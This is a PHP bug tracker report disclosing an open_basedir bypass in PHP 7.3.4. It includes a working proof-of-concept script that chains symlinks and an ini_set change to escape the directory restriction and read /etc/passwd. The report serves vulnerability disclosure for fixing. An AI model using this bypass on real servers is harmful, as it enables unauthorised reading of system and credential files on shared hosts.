Bug #77850 [NEW]: Open_basedir bypass

From: simon dot vikstrom at gmail dot com Operating system: Linux PHP version: 7.3.4 Package: *Directory/Filesystem functions Bug Type: Bug Bug description:Open_basedir bypass Description: ------------ Blaklis_ on twitter published a open_basedir bypass : https://twitter.com/Blaklis_/status/1113866828739166208 Test script: --------------- <?php /* I could recreat with: mkdir -p /var/www/html chmod -R YOURUSER:YOURUSER /var/www cd /var/www/html/ php -d open_basedir=/var/www FILENAME.php */ mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE); symlink('/var/www/html/a/b/c/d/e/f/g','foo'); ini_set('open_basedir','/var/www/html:bar/'); symlink('foo/../../../../../../','bar'); unlink('foo'); symlink('/var/www/html/','foo'); echo file_get_contents('bar/etc/passwd'); Expected result: ---------------- file_get_contents(): open_basedir restriction in effect. .... Actual result: -------------- Reads /etc/passwd -- Edit bug report at https://bugs.php.net/bug.php?id=77850&edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=77850&r=trysnapshot54 Try a snapshot (PHP 5.5): https://bugs.php.net/fix.php?id=77850&r=trysnapshot55 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=77850&r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=77850&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=77850&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=77850&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=77850&r=needscript Try newer version: https://bugs.php.net/fix.php?id=77850&r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=77850&r=support Expected behavior: https://bugs.php.net/fix.php?id=77850&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=77850&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=77850&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=77850&r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=77850&r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=77850&r=dst IIS Stability: https://bugs.php.net/fix.php?id=77850&r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=77850&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=77850&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=77850&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=77850&r=mysqlcfg